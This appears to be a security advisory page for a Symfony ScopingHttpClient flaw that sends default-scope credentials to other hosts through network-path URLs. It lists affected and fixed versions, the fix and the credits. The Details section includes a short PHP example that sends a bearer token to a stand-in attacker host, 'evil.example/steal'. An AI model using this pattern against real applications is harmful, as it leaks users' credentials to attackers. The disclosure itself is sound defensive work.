CVE-2026-121971 — Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References
One of 2 composer:symfony/http-client vulnerabilities published together by GitHub Advisory: our article covers all of them.
PHPWebVulnerabilitiesSeverity breakdown
High · 8.2
An attacker without an account can exploit this over the network, without any user action, but only under specific conditions.
- Attack from
- the network (remotely)
- Attack complexity
- low (no special conditions)
- Special conditions
- only in some setups or conditions
- Login needed
- no
- User action needed
- no
- Impact
- high on confidentiality, none on integrity and availability
- Impact on other systems
- none
Weakness
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-522: Insufficiently Protected Credentials
Affected and fixed versions
| Product | Affected versions | Fixed in |
|---|---|---|
| symfony/http-client (Packagist) | < 5.4.56 | 5.4.56 |
| ≥ 6.0.0, < 6.4.50 | 6.4.50 | |
| ≥ 7.0.0, < 7.4.23 | 7.4.23 | |
| ≥ 8.0.0, < 8.1.11 | 8.1.11 | |
| symfony/symfony (Packagist) | < 5.4.56 | 5.4.56 |
| ≥ 6.0.0, < 6.4.50 | 6.4.50 | |
| ≥ 7.0.0, < 7.4.23 | 7.4.23 | |
| ≥ 8.0.0, < 8.1.11 | 8.1.11 |
References by type
Vendor advisories
Patches and fixed releases
- github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91…
- github.com/symfony/symfony/releases/tag/v5.4.56
- github.com/symfony/symfony/releases/tag/v6.4.50
- github.com/symfony/symfony/releases/tag/v7.4.23
- github.com/symfony/symfony/releases/tag/v8.1.11
Other references
Details
Description
ScopingHttpClient applies the options of a scope, such as auth_bearer, auth_basic, headers or local_cert, to the URLs that match that scope only. A relative URL is resolved against the base_uri of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as //evil.example/steal carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, https://evil.example/steal, gets none of them.
$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
'auth_bearer' => 'secret',
]);
$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"
This is how HttpClient::createForBaseUri() builds its client, and how the scoped clients configured with a base_uri under framework.http_client.scoped_clients are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.
Resolution
After resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.
The user-info part counts as part of the authority: //user@api.example.com/ does not receive the options of the default scope anymore.
The patches for this issue are available here for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).
Credits
Symfony would like to thank Thomas Chauchefoin from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.
Symfony would also like to thank Bruno Dias and Catarina Amorim from Checkmarx for their help getting a CVE assigned.
Affected
- composer:symfony/http-client
- composer:symfony/symfony
What to do
- Check whether you run an affected product or version and apply the vendor's update or mitigation.
- Follow the vendor advisory and the references below for fixed versions and workarounds.
Frequently asked questions
What is CVE-2026-121971?
ScopingHttpClient applies the options of a scope, such as authbearer, authbasic, headers or localcert, to the URLs that match that scope only. A relative URL is resolved against the baseuri of the default scope, and the options of that scope were merged before the URL was resolved. Weakness type: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200).
How severe is CVE-2026-121971?
CVE-2026-121971 has a CVSS 4.0 base score of 8.2 (high), from the CNA. An attacker without an account can exploit this over the network, without any user action, but only under specific conditions.
Is CVE-2026-121971 being exploited?
Not as far as is known: CVE-2026-121971 is not in CISA's Known Exploited Vulnerabilities catalog as of December 1, 2026. EPSS estimates a 0.3% chance that it is exploited in the next 30 days.
Which versions are affected by CVE-2026-121971?
symfony/http-client (Packagist) < 5.4.56 (fixed in 5.4.56); symfony/http-client (Packagist) ≥ 6.0.0, < 6.4.50 (fixed in 6.4.50); symfony/http-client (Packagist) ≥ 7.0.0, < 7.4.23 (fixed in 7.4.23); symfony/http-client (Packagist) ≥ 8.0.0, < 8.1.11 (fixed in 8.1.11); and more, listed on this page.
How do I fix CVE-2026-121971?
Update to a fixed release: symfony/http-client (Packagist) 5.4.56; symfony/http-client (Packagist) 6.4.50; symfony/http-client (Packagist) 7.4.23.
Timeline & sources
References
Related vulnerabilities & news
- GHSA-5w3m-mfwg-9f8r / CVE-2026-118513 — Symfony: X509Authenticator and X509AuthenticationListener Read Escaped RFC 2253 Commas and Bare Slashes Inside a DN Value as RDN Boundaries
- GHSA-h38r-xrmh-cwhr / CVE-2026-118515 — Symfony: The Serializer Builds UploadedFile Objects From Request Data, Letting a Client Point an Upload at Any Server File
- miniBB 3.7.2 login open redirect lets forged POST data send users to external sites; fixed in 3.8
- Joomla! Core PHP Object Injection Vulnerability in 1.5.0-5.4.11 and 6.0.0-6.2.1
- CVE-2026-141330 — kd2org oPodSync